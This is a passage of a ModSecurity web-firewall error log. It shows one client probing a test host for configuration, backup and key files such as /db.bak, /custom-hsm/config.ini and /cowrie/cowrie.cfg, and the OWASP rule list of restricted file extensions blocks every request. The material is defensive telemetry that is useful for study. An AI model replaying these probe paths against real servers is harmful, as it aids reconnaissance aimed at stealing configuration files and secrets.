&quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/controlnet.ini&quot;] [unique_id &quot;aaSSzuWvNlascZsmhrI4igAAAAY&quot;]
[Sun Mar 01 20:26:06.826637 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/controlnet.ini&quot;] [unique_id &quot;aaSSzuWvNlascZsmhrI4igAAAAY&quot;]
[Sun Mar 01 20:26:06.826794 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/controlnet.ini&quot;] [unique_id &quot;aaSSzuWvNlascZsmhrI4igAAAAY&quot;]
[Sun Mar 01 20:26:07.033071 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.cfg&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cowrie/cowrie.cfg&quot;] [unique_id &quot;aaSSz-WvNlascZsmhrI4kwAAAAY&quot;]
[Sun Mar 01 20:26:07.033601 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cowrie/cowrie.cfg&quot;] [unique_id &quot;aaSSz-WvNlascZsmhrI4kwAAAAY&quot;]
[Sun Mar 01 20:26:07.033778 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cowrie/cowrie.cfg&quot;] [unique_id &quot;aaSSz-WvNlascZsmhrI4kwAAAAY&quot;]
[Sun Mar 01 20:26:07.194581 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.log&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crypto/entropy_pool.log&quot;] [unique_id &quot;aaSSz-WvNlascZsmhrI4mgAAAAY&quot;]
[Sun Mar 01 20:26:07.195078 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crypto/entropy_pool.log&quot;] [unique_id &quot;aaSSz-WvNlascZsmhrI4mgAAAAY&quot;]
[Sun Mar 01 20:26:07.195243 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crypto/entropy_pool.log&quot;] [unique_id &quot;aaSSz-WvNlascZsmhrI4mgAAAAY&quot;]
[Sun Mar 01 20:26:07.286743 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crypto_signers/curve25519.conf&quot;] [unique_id &quot;aaSSz-WvNlascZsmhrI4ngAAAAY&quot;]
[Sun Mar 01 20:26:07.287252 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crypto_signers/curve25519.conf&quot;] [unique_id &quot;aaSSz-WvNlascZsmhrI4ngAAAAY&quot;]
[Sun Mar 01 20:26:07.287433 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/crypto_signers/curve25519.conf&quot;] [unique_id &quot;aaSSz-WvNlascZsmhrI4ngAAAAY&quot;]
[Sun Mar 01 20:26:07.470122 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Warning. Matched phrase &quot;.profile&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: .profile found within REQUEST_FILENAME: /cs/server.profile&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cs/server.profile&quot;] [unique_id &quot;aaSSz-WvNlascZsmhrI4pgAAAAY&quot;]
[Sun Mar 01 20:26:07.470398 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cs/server.profile&quot;] [unique_id &quot;aaSSz-WvNlascZsmhrI4pgAAAAY&quot;]
[Sun Mar 01 20:26:07.470591 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/cs/server.profile&quot;] [unique_id &quot;aaSSz-WvNlascZsmhrI4pgAAAAY&quot;]
[Sun Mar 01 20:26:07.561628 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/custom-hsm/config.ini&quot;] [unique_id &quot;aaSSz-WvNlascZsmhrI4qgAAAAY&quot;]
[Sun Mar 01 20:26:07.562482 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/custom-hsm/config.ini&quot;] [unique_id &quot;aaSSz-WvNlascZsmhrI4qgAAAAY&quot;]
[Sun Mar 01 20:26:07.562649 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/custom-hsm/config.ini&quot;] [unique_id &quot;aaSSz-WvNlascZsmhrI4qgAAAAY&quot;]
[Sun Mar 01 20:26:07.928206 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.bak&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.bak&quot;] [unique_id &quot;aaSSz-WvNlascZsmhrI4ugAAAAY&quot;]
[Sun Mar 01 20:26:07.928666 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.bak&quot;] [unique_id &quot;aaSSz-WvNlascZsmhrI4ugAAAAY&quot;]
[Sun Mar 01 20:26:07.928813 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.bak&quot;] [unique_id &quot;aaSSz-WvNlascZsmhrI4ugAAAAY&quot;]
[Sun Mar 01 20:26:07.950717 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.old&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.old&quot;] [unique_id &quot;aaSSz-WvNlascZsmhrI4uwAAAAY&quot;]
[Sun Mar 01 20:26:07.951164 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.old&quot;] [unique_id &quot;aaSSz-WvNlascZsmhrI4uwAAAAY&quot;]
[Sun Mar 01 20:26:07.951316 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/db.old&quot;] [unique_id &quot;aaSSz-WvNlascZsmhrI4uwAAAAY&quot;]
[Sun Mar 01 20:26:08.249049 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.conf&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/default.conf&quot;] [unique_id &quot;aaSS0OWvNlascZsmhrI4yAAAAAY&quot;]
[Sun Mar 01 20:26:08.249547 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/default.conf&quot;] [unique_id &quot;aaSS0OWvNlascZsmhrI4yAAAAAY&quot;]
[Sun Mar 01 20:26:08.249702 2026] [:error] [pid 2400765] [client 185.177.72.30:35068] [client 185.177.72.30] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/default.conf&quot;] [unique_id &quot;aaSS0OWvNlascZsmhrI4yAAAAAY&quot;]
[Sun Mar 01 20:26:08.501861 2026] [:error] [pid 2400023] [client 185.177.72.30:9910] [client 185.177.72.30] ModSecurity: Warning. String match within &quot;.asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/&quot; at TX:extension. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf&quot;] [line &quot;997&quot;] [id &quot;920440&quot;] [msg &quot;URL file extension is restricted by policy&quot;] [data &quot;.ini&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-protocol&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/POLICY/EXT_RESTRICTED&quot;] [tag &quot;WASCTC/WASC-15&quot;] [tag &quot;OWASP_TOP_10/A7&quot;] [tag &quot;PCI/6.5.10&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/device.ini&quot;] [unique_id &quot;aaSS0JIifMrob6GYX-HTmQAAAAI&quot;]
[Sun Mar 01 20:26:08.502374 2026] [:error] [pid 2400023] [client 185.177.72.30:9910] [client 185.177.72.30] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/device.ini&quot;] [unique_id &quot;aaSS0JIifMrob6GYX-HTmQAAAAI&quot;]
